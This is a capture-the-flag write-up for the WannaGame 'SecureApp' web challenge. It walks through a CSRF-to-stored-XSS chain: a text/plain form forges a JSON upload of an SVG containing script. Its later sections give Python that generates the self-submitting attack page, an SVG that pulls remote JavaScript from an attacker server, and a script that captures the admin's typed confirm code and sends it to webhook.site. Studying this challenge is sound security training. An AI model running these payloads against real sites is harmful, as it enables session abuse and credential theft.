WannaGame SecureApp
The task includes files:
`src` directory with PHP app that allows:
registration (`registration.php`),
typical login (`login.php`) and unusual logout (`api/logut.php`) when you enter `confirm code` to logout,
URL reporting (`bot.js`)
uploading an image file, only for an admin (`api/file.php`),
`bot` directory with a bot that visits a URL,
`ngnix` directory with server configuration that specifies how to direct traffic to internal services (`/bot`) and other requests (`/`),
The app main view (implemented in `index.php`).
The app login view.
The app logout that requires a `confirm code` to log out!
A report URL feature.
Additional admin features.
Admin panel with backend `api/file.php`.
Code
Let’s explore the code.
Bot
Looking at the `bot.js`, we can see that the bot simulates an action that could be taken by the admin who visits the reported URL with a caveat that logout looks strange.
const visitPage = async url => {
…
await page.goto('http://app:80/login.php');
await page.type('[name="username"]', 'admin');
await page.type('[name="password"]', flag);
// code for submission
await page.goto(url, …)
…
await page.goto('http://app:80/api/logout.php');
await page.type('[name="confirm_code"]', flag);
// code for submission
…
};
First, the bot logs in by typing username `admin` and password that equals `flag` into the login form, and then it clicks submit. Next, navigate to the reported URL. Finally, it navigates to the logout page and types `confirm_code`, which equals the flag.
If we could find a way to eavesdrop on `confirm_code` with a reported URL, we would solve the challenge.
File upload
Looking at the other files, the upload code (`api/file.php`) feature attracts attention. It allows you to send image files that maybe could include some additional data.
PHP code:
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$json = file_get_contents('php://input');
$data = json_decode($json, true);
if (isset($data["filename"]) && isset($data["base64_content"]) && …) {
$ext = pathinfo($data["filename"], PATHINFO_EXTENSION);
if (preg_match("/svg|png|gif|^j/", $ext)) {
$content = base64_decode($data["base64_content"]);
if (imagecreatefromstring($content)) {
…
} else if (isValidSvg($content)) {
$new_name = uniqid() . ".$ext";
file_put_contents($new_name, $content);
if ( $_SERVER['HTTP_REFERER'] !== 'http://' . $_SERVER['HTTP_HOST'] . '/admin.php') {
header("Location: /api/$new_name");
…
}
}
}
And the HTML form for a file upload:
<form class="needs-validation" novalidate action="/upload.php" method="POST" enctype="multipart/form-data">
…
<label for="file">Select a file:</label>
<input type="file" class="form-control-file" id="file" name="file" required>
…
<button … type="submit">Share</button>
</form>
The action=”/upload.php” from HTML form just troll us, and the actual `action` is implemented in Javascript:
function handleSubmit(event) {
…
if (parts.length === 2) {
json_data.base64_content = parts[1];
const JSONdata = JSON.stringify(json_data);
fetch("/api/file.php", {
method: "POST",
headers:
{'Content-Type': 'application/json',},
body: JSONdata,
})
…
}
}
However, it is accessible only by admin.
if ($_SESSION["username"] !== "admin") {
http_response_code(403);
die(file_get_contents("403.html"));
}
But is it a problem? Generally, the bot in `bot.js` is already logged into the browser with its session token, and no other mechanism is implemented to prevent CSRF (Cross-site request forgery)!
CSRF
What is CSRF, and how does it work?
CSRF attack tricks a user’s browser into executing unwanted actions on a web application where they are authenticated. In the context of this challenge, the bot logs in as admin. In the background, the app sets up a session token for the bot, so when the bot visits the reported URL, we are able to make some actions in the context of a bot session!
How do we know that the attack is possible? What mechanism could prevent this attack?
Some ways of CSRF prevention
CSRF token
An unpredictable string is sent with a form from server to client, so in order to successfully submit a form, it needs to have a correct CSRF token. The form secured by it typically looks like this:
<form action="/submit-form" method="post">
<input type="hidden" name="csrf_token" value="YOUR_CSRF_TOKEN_HERE">
<input type="some_text" name="some_name">
…
<input type="submit" value="Submit">
</form>
Same site cookies
Is a cookie attribute that specifies when to share cookies in cross-origin requests. In our case, the policy has a default value `Lax`, so the cookies will be sent only by GET requests and only in top-level navigation to the site from an external site like `window.open` or hyperlink tag <a>. But for cross-site requests like POST requests or script methods like `fetch`, the cookies won’t be included.
However, there is one caveat:
`Chrome will make an exception for cookies set without a SameSite attribute less than 2 minutes ago. Such cookies will also be sent with non-idempotent (e.g. POST) top-level cross-site requests despite normal SameSite=Lax cookies requiring top-level cross-site requests to have a safe (e.g. GET) HTTP method. Support for this intervention ("Lax + POST") will be removed in the future.`
So it means the session cookie will be sent in the top window in the POST request, which allows you to make a payload from the next section!
This is just a short explanation. PortSwigger broadly covers a topic. It also gives labs the opportunity to solve some challenges focused on CSRF.
XSS in SVG
The upload form accepts SVG image files, which is the only image format that can include JS code. The JS script is executed when the SVG is loaded into the environment, for example, in a web browser.
else if (isValidSvg($content)) {
$new_name = uniqid() . ".$ext";
file_put_contents($new_name, $content);
if (
$_SERVER['HTTP_REFERER'] !== 'http://' . $_SERVER['HTTP_HOST'] . '/admin.php')
{
header("Location: /api/$new_name");
die();
} else die("/api/$new_name");
Below there is an SVG scheme to include a JS script:
<!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN''http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'>
<svg version='1.1' xmlns='http://www.w3.org/2000/svg'>
<circle cx='250' cy='250' r='50' fill='red' />
<script type='text/javascript'><![CDATA[alert(1)]]></script>
</svg>
With these two attacks, we can execute arbitrary code in the context of the attacked website. Let’s dig into the details of constructing the payload.
Payload construction
What does the correct payload to the form could look like? We can look at the upload code and make a scheme.
Form
The first obstacle to overcome is to construct a POST request that includes JSON data:
{
"filename”:"name",
"base64_content": "PCFEbleblegibberish"
}
We use a form to send POST data. Typically, the form data is sent URL encoded in a form “key=value” which doesn’t look like the above JSON. For example, for this form:
<form method="post" action="http://app:80/api/file.php">
<input name='input_name'></input>
<input type="submit">
</form>
When click `Submit`:
It results in body data:
'input_name=x%3Cy%3C3o%7B%5D'
First, let’s make it plain text. We add the encoding type `text/plain` so it will not be URL encoded.
<form method="post" enctype="text/plain" action="http://app:80/api/file.php">
Second, construct correct JSON data, then submit the form with curly brackets and quotes that will produce JSON data:
name: '{"filename":"'
value: .svg","base64_content": "PCFET"}
<form method="post" enctype="text/plain" action="http://app:80/api/file.php">
<textarea name='{"filename":"'>.svg","base64_content": "PCFET"}</textarea>
<input type="submit">
</form>
The generated JSON looks like this:
'{
"filename" : "=.svg" ,
"base64_content": "PCFET"
}\r\n'
Redirect
The code upload tries to trick into thinking that it prevents saving valid SVG when the user is not admin:
if ( $_SERVER['HTTP_REFERER'] !== 'http://' . $_SERVER['HTTP_HOST'] . '/admin.php') {
header("Location: /api/$new_name");
die();
}
It checks `HTTP_REFERER` different from `http://app:80/admin.php`, redirects the user to a new location '/api/$new_name' and terminates script execution. However, this redirect is beneficial for the exploit because it executes the script in SVG file we mentioned above.
Payload
Taking it all together, let’s make a script that creates an HTML file with a form that submits itself with `document.forms[0].submit()`:
import base64
svg_data = base64.b64encode(r"""<!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN'
'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'>
<svg version='1.1' xmlns='http://www.w3.org/2000/svg'>
<circle cx='250' cy='250' r='50' fill='red' />
<script type='text/javascript'><![CDATA[
alert(1);
]]></script>
</svg>""".encode()).decode()
data = r'''<form method="post" enctype="text/plain" action="http://172.24.0.4/api/file.php">
<textarea name='{"filename":"'>.svg","base64_content": "'''+svg_data+r'''"}</textarea>
<input type="submit">
</form>
<script>document.forms[0].submit()</script>
'''
print(data)
Finally, open in a web browser:
JS script
We can now execute arbitrary JS code. However, we still don’t have a mechanism to eavesdrop on a `confirm_code` from the logout page. Our XSS-injected code has to survive the navigation between pages. We will do this by opening a new child window and then, when navigation occurs, injecting ourselves back into the parent.
We open a child window using `window.open`. The child window accesses the parent window via `window.opener`. For example, window.opener.document.getElementById ('confirm_code’) can check if an element exists in the parent window.
Let’s build a solution. As we mentioned before, file upload redirects us to the uploaded file, so our code starts in the bot's browser, executing right after upload. After opening the window, we check every 1 ms if the `confirm_code` element exists, which means that the bot has navigated to the logout page. We then listen for a flag that ends with curly brackets and send it to our server.
https://webhook.site is a useful website that can show a notification on your desktop for each HTTP request it gets.
var isOpened = false;
fetch('https://webhook.site/XXXX?x=1')
function fun(){
if(window.opener.document.getElementById('confirm_code') && !isOpened){
fetch('https://webhook.site/XXXX?x=2')
console.log(window.opener.location.href );
isOpened = true;
function inputCallback(event) {
console.log("User typed:", event.target.value);
if (event.target.value.endsWith('}'))
fetch('https://webhook.site/XXXX?s=' + escape(event.target.value))
}
console.log( window.opener.document.getElementById('confirm_code'));
window.opener.document.getElementById('confirm_code').addEventListener('input', inputCallback);
}
}
setInterval(fun, 1);
We add a script `parent.js` with the JS code that will be executed in the child window.
import base64
svg_data = base64.b64encode(r"""<!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN'
'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'>
<svg version='1.1' xmlns='http://www.w3.org/2000/svg'>
<circle cx='250' cy='250' r='50' fill='red' />
<script type='text/javascript'><![CDATA[
w = window.open();
w.document.write('<script src="http://X.X.X.X:8000/parent.js"></script>')
w.document.close()
]]></script>
</svg>""".encode()).decode()
data = r'''<form method="post" enctype="text/plain" action="http://app:80/api/file.php">
<textarea name='{"filename":"'>.svg","base64_content": "'''+svg_data+r'''"}</textarea>
<input type="submit">
</form>
<script>document.forms[0].submit()</script>
'''
print(data)
Solution
We report prepared payload with the name `attack.html` that is served from our internet-accessible server:
<form method="post" enctype="text/plain" action="http://app:80/api/file.php">
<textarea name='{"filename":"'>.svg","base64_content": "PCFET0NUWVBFIHN2Zy….>
<input type="submit">
</form>
<script>document.forms[0].submit()</script>
Let’s execute a solution and wait for a flag to be sent to our server:
And get the flag!
Happy hacking! Bye!
PS
Tô Đỉnh Nguyên also solved this challenge with a different approach using ServiceWorker, so I highly recommend reading it: https://nguyendt.hashnode.dev/wannagame-championship-2023#heading-secureapp.